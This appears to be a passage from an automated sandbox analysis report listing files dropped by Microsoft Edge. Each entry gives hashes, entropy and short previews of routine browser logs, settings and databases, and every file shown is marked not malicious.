SHA-512:	8DCB9AFDCAEF1808EE518EE5BBFF260910DF60B71F2F6731D717AE19CE3B6A5BE58A0EB50F194E456D6F890E172900804E2C9E47E245813A003014F7955A20C7
Malicious:	false
Preview:	2024/12/17-06:13:23.420 1690 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/12/17-06:13:23.420 1690 Recovering log #3.2024/12/17-06:13:23.420 1690 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1254
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	12:qWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWA:
MD5:	826B4C0003ABB7604485322423C5212A
SHA1:	6B8EF07391CD0301C58BB06E8DEDCA502D59BCB4
SHA-256:	C56783C3A6F28D9F7043D2FB31B8A956369F25E6CE6441EB7C03480334341A63
SHA-512:	0474165157921EA84062102743EE5A6AFE500F1F87DE2E87DBFE36C32CFE2636A0AE43D8946342740A843D5C2502EA4932623C609B930FE8511FE7356D4BAA9C
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.096508350496048
Encrypted:	false
SSDEEP:	6:7pfYBVjyq2PN723oH+Tcwt8NIFUt8Opf91Zmw+OpfauQRkwON723oH+Tcwt8+eLJ:7RYBVjyvVaYebpFUt8ORP/+OR7QR5OaO
MD5:	2ABD7002CECEAFD3BBB36AE72D9D6B64
SHA1:	E3606173B076AFF97EC9F4E7E3308B21DB3380D5
SHA-256:	69FD49FB9808D3403517AABF4F59624370A86F159414656C5AA909B85D0DA5A4
SHA-512:	5B1276B59D7AAC0A002BB436A9AC4935D174E10013DE90BD962F4D7869D891A9E0ADA2F2CC2CBD3608F7207707E93BC1AAACEC58AE11F054C3378428AC35FE76
Malicious:	false
Preview:	2024/12/17-06:13:24.061 1fe0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/12/17-06:13:24.062 1fe0 Recovering log #3.2024/12/17-06:13:24.063 1fe0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.096508350496048
Encrypted:	false
SSDEEP:	6:7pfYBVjyq2PN723oH+Tcwt8NIFUt8Opf91Zmw+OpfauQRkwON723oH+Tcwt8+eLJ:7RYBVjyvVaYebpFUt8ORP/+OR7QR5OaO
MD5:	2ABD7002CECEAFD3BBB36AE72D9D6B64
SHA1:	E3606173B076AFF97EC9F4E7E3308B21DB3380D5
SHA-256:	69FD49FB9808D3403517AABF4F59624370A86F159414656C5AA909B85D0DA5A4
SHA-512:	5B1276B59D7AAC0A002BB436A9AC4935D174E10013DE90BD962F4D7869D891A9E0ADA2F2CC2CBD3608F7207707E93BC1AAACEC58AE11F054C3378428AC35FE76
Malicious:	false
Preview:	2024/12/17-06:13:24.061 1fe0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/12/17-06:13:24.062 1fe0 Recovering log #3.2024/12/17-06:13:24.063 1fe0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.1_0\_metadata\computed_hashes.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	429
Entropy (8bit):	5.809210454117189
Encrypted:	false
SSDEEP:	6:Y8U0vEjrAWT0VAUD9lpMXO4SrqiweVHUSENjrAWT0HQQ9/LZyVMQ3xqiweVHlrSQ:Y8U5j0pqCjJA7tNj0pHx/LZ4hcdQ
MD5:	5D1D9020CCEFD76CA661902E0C229087
SHA1:	DCF2AA4A1C626EC7FFD9ABD284D29B269D78FCB6
SHA-256:	B829B0DF7E3F2391BFBA70090EB4CE2BA6A978CCD665EEBF1073849BDD4B8FB9
SHA-512:	5F6E72720E64A7AC19F191F0179992745D5136D41DCDC13C5C3C2E35A71EB227570BD47C7B376658EF670B75929ABEEBD8EF470D1E24B595A11D320EC1479E3C
Malicious:	false
Preview:	{"file_hashes":[{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","6RbL+qKART8FehO4s7U0u67iEI8/jaN+8Kg3kII+uy4=","CuN6+RcZAysZCfrzCZ8KdWDkQqyaIstSrcmsZ/c2MVs="],"block_size":4096,"path":"content.js"},{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","UL53sQ5hOhAmII/Yx6muXikzahxM+k5gEmVOh7xJ3Rw=","u6MdmVNzBUfDzMwv2LEJ6pXR8k0nnvpYRwOL8aApwP8="],"block_size":4096,"path":"content_new.js"}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 2, database pages 38, cookie 0x1f, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	155648
Entropy (8bit):	0.6382735364636536
Encrypted:	false
SSDEEP:	192:+v3qvqCLlZhH+bDo3iN0Z2TVJkXBBE3ybc:+yy2hIU3iGAIBBE3qc
MD5:	330D106EE5D68145EDE9B7686CED7073
SHA1:	6E415CEE5C12FAEFCAE85230052AA981A35CBE54
SHA-256:	EF24022238C0338DB2E12FB3432BDC48A01D983D9856C110D6F611A8F71043E3
SHA-512:	D8407CF1B65E10B2F10870282F832FE5D559332079F986181C8782FDB99BC1F6FDD95E434D79E271357A205D51473BA9837A87AE22D722EED9A97FF4C6486BCB
Malicious:	false
Preview:	SQLite format 3......@ .......&..................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	0.21861961848037045
Encrypted:	false
SSDEEP:	3:Ht59tFlljq7A/mhWJFuQ3yy7IOWUV/otdweytllrE9SFcTp4AGbNCV9RUIc:N5G75fOz4d0Xi99pEYa
MD5:	D426FE5271A21C0CC457D03FC6215850
SHA1:	3DF2834D70439749A15F7ED8DF5416C1BC26F1D4
SHA-256:	3DC9F77BA72CF4F6B486B337C97B16E9C3F0775A037398875AC8113AC8FCFBC6
SHA-512:	50D16EC9CF8530071BCB3EA3EA554412C5299BD4CC630C91DCA40BF500941847105DE5B880E2C1A7CDFB8FB9F08AAC0FD0FFA11C3710E4D2E958C066A1D9D5FA
Malicious:	false
Preview:	.............d3....&....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps Icons

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 12, cookie 0x3, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	3.6481260415575596
Encrypted:	false
SSDEEP:	384:aj9P012QkQerkjlxP/KbtLcg773pL9hCgam6ItRKToaAu:adPe2mlxP/Ng7Pv9RKcC
MD5:	8D3B8E3A72C40BAD6B53D27E09419923
SHA1:	561B9DDED7215DE5C2D7E4FDB64D5EB8A010A62C
SHA-256:	4C7F428D712485570F5840B0FA241809A64B9AF4D3BB4055663DAED3F371F09C
SHA-512:	B77E85B650C227FBAE00CBCBF0C87D6C883ABEAA0255D740CDFA2EE41E2E6E5DEB971CF51649C3399815AC058F1B175C7BBF2FC3CEC983B6ACEF67C2323EB624
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...:.8....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	412
Entropy (8bit):	5.257683394277556
Encrypted:	false
SSDEEP:	12:7rpvVaYeb8rcHEZrELFUt8Or0/+O5fF5OaYeb8rcHEZrEZSJ:7rVVaYeb8nZrExg8Or05/OaYeb8nZrE8
MD5:	41FDEA4CA1F22AD765317AA901C856CC
SHA1:	AA354C56189B9E1F7A792EF0052F34814EF32E01
SHA-256:	3DB591968B49CAC5C9F6B0AD4E3E84674A5798969901DCEC6B9AA7404177C2F1
SHA-512:	195DB251370981E490BF5E249CFBAF6DCB4AAC7A2DBB767C36B14523F146AA7D10EDF064F00300F40ED9DA4553015D7CFF732EEFC3FF84DE78C4638BFD21D0CA
Malicious:	false
Preview:	2024/12/17-06:13:26.181 1fd8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/12/17-06:13:26.181 1fd8 Recovering log #3.2024/12/17-06:13:26.182 1fd8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	412
Entropy (8bit):	5.257683394277556
Encrypted:	false
SSDEEP:	12:7rpvVaYeb8rcHEZrELFUt8Or0/+O5fF5OaYeb8rcHEZrEZSJ:7rVVaYeb8nZrExg8Or05/OaYeb8nZrE8
MD5:	41FDEA4CA1F22AD765317AA901C856CC
SHA1:	AA354C56189B9E1F7A792EF0052F34814EF32E01
SHA-256:	3DB591968B49CAC5C9F6B0AD4E3E84674A5798969901DCEC6B9AA7404177C2F1
SHA-512:	195DB251370981E490BF5E249CFBAF6DCB4AAC7A2DBB767C36B14523F146AA7D10EDF064F00300F40ED9DA4553015D7CFF732EEFC3FF84DE78C4638BFD21D0CA
Malicious:	false
Preview:	2024/12/17-06:13:26.181 1fd8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/12/17-06:13:26.181 1fd8 Recovering log #3.2024/12/17-06:13:26.182 1fd8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	340
Entropy (8bit):	5.162587735122249
Encrypted:	false
SSDEEP:	6:7pKRq2PN723oH+Tcwt8a2jMGIFUt8OpKHZmw+OpKYFzkwON723oH+Tcwt8a2jMmd:7sRvVaYeb8EFUt8OsH/+OsYF5OaYeb8N
MD5:	D1C4E8209840A45F29E36A2AE7124CB5
SHA1:	B33E072D3AB005AFC5D4355594219480672858F0
SHA-256:	D173C0D70FD197B6E2F5DB393ED9120FD1686FC12A220C532EE8A0F59A04B7AC
SHA-512:	E151B6D1290168470969F2EBD67FB7824A31A0EB9A86DCCCDDB398C90B1B8D0A2EB1E98E1B50AB9E23FDF4508CD43067269A7B8C52AF732E44213CCED2C6B123
Malicious:	false
Preview:	2024/12/17-06:13:23.612 1904 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/12/17-06:13:23.613 1904 Recovering log #3.2024/12/17-06:13:23.656 1904 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	340
Entropy (8bit):	5.162587735122249
Encrypted:	false
SSDEEP:	6:7pKRq2PN723oH+Tcwt8a2jMGIFUt8OpKHZmw+OpKYFzkwON723oH+Tcwt8a2jMmd:7sRvVaYeb8EFUt8OsH/+OsYF5OaYeb8N
MD5:	D1C4E8209840A45F29E36A2AE7124CB5
SHA1:	B33E072D3AB005AFC5D4355594219480672858F0
SHA-256:	D173C0D70FD197B6E2F5DB393ED9120FD1686FC12A220C532EE8A0F59A04B7AC
SHA-512:	E151B6D1290168470969F2EBD67FB7824A31A0EB9A86DCCCDDB398C90B1B8D0A2EB1E98E1B50AB9E23FDF4508CD43067269A7B8C52AF732E44213CCED2C6B123
Malicious:	false
Preview:	2024/12/17-06:13:23.612 1904 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/12/17-06:13:23.613 1904 Recovering log #3.2024/12/17-06:13:23.656 1904 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\1b782d34-da0e-48e3-b4cf-dda8a6d07ac0.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\1c43208f-ae58-4770-a418-91661c4c8b00.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\4928bf59-8e3f-4c79-98ad-73cafb658c68.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\85f6cb8a-672a-4cc6-bc91-ca865bae9182.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1808
Entropy (8bit):	5.311655356807678
Encrypted:	false
SSDEEP:	48:YcCpfC0gCzs3tsdfcKsYleeIkBRsyCxbj:F2fhIS7keIkBRA/
MD5:	61C66B570F8D6CA5D0FAE45BE84B3212
SHA1:	74750956D6C008E3664FBB4098BF6461DC915BB9
SHA-256:	40321B1393D22ABB3AF367C97D0C8F466993174F5C91762681336392D291CF72
SHA-512:	C69B41A0F973D5BB7F38D781C3A47ADDC37D7FC40EA43068DEE3830EA528F0326E913463F7E06EA2A185587F5A50515A90F489F28B981DE45E6D42BFD9BABF47
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381499606974531","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381499609963314","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 8, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	1.1351216977487855
Encrypted:	false
SSDEEP:	48:TsKLopF+SawLUO1Xj8BWOuOcpEKCR0zXVL5sN5VGL:te+Au3uOVKyDs
MD5:	9C8F571E3D00C26839758D4E21F5F519
SHA1:	38D0B8CBA69FFF09D0094B22BEE5C11FA93CD512
SHA-256:	4C7296E290406A27FAFB6FF47C3632F833C4317A4F861B3B8A77AFE440EB94A3
SHA-512:	B084999D4FF599D8264B7FF11D5BF08F4F564CFA5C4932FD7A6E77955FCDF468AD080AB3B374683023D5F761DCE56E2162C72F31202DE68F2D167D504445CB12
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1808
Entropy (8bit):	5.311655356807678
Encrypted:	false
SSDEEP:	48:YcCpfC0gCzs3tsdfcKsYleeIkBRsyCxbj:F2fhIS7keIkBRA/
MD5:	61C66B570F8D6CA5D0FAE45BE84B3212
SHA1:	74750956D6C008E3664FBB4098BF6461DC915BB9
SHA-256:	40321B1393D22ABB3AF367C97D0C8F466993174F5C91762681336392D291CF72
SHA-512:	C69B41A0F973D5BB7F38D781C3A47ADDC37D7FC40EA43068DEE3830EA528F0326E913463F7E06EA2A185587F5A50515A90F489F28B981DE45E6D42BFD9BABF47
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381499606974531","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381499609963314","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Reporting and NEL

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 9, cookie 0x4, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	1.1147322308380339
Encrypted:	false
SSDEEP:	48:TFkIopKWurJNVr1GJmA8pv82pfurJNVrdHXuccaurJN2VrJ1n4n1GmzNGU1cSBnR:JkIEumQv8m1ccnvS6n20cI9pej1a
MD5:	ADB11CCD5A4B78FE58F08A1227851A7E
SHA1:	8A13B82EC1D7C31FACA50C00D2EF92971ACF4AD0
SHA-256:	041F03D7DA58A739ED301075879F43ECEA367C208E35647EEA4E7A662C7D0137
SHA-512:	E618E8C831DC33088F754CC09188333B0782A1DCEC88924CEB487B21B9C7386F4F971B77A7CD871302BDC522F8148646D2B7442A2CD67F8063CAF6C2EC5100D5
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...D.........7............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF3b23a.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF3be50.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\a896b389-a383-4001-809d-11c5ed3ffa0b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6949007314891732
Encrypted:	false
SSDEEP:	12:TLSnAFUxOUDaabZXiDiIF8izX4fhhdWeci2oesJaYi3isal/d0dtdjiG1dMgrfNr:TLSOUOq0afDdWec9sJrl7ZWI7J5fc
MD5:	52DE909D04514C10D7428B67A26BBDAC
SHA1:	0371737559133042EBF793502ECDC403011376E4
SHA-256:	B05BF68A882F04103FA0F53A61974AFB591B09010DDBD5139B67B9ECE073F388
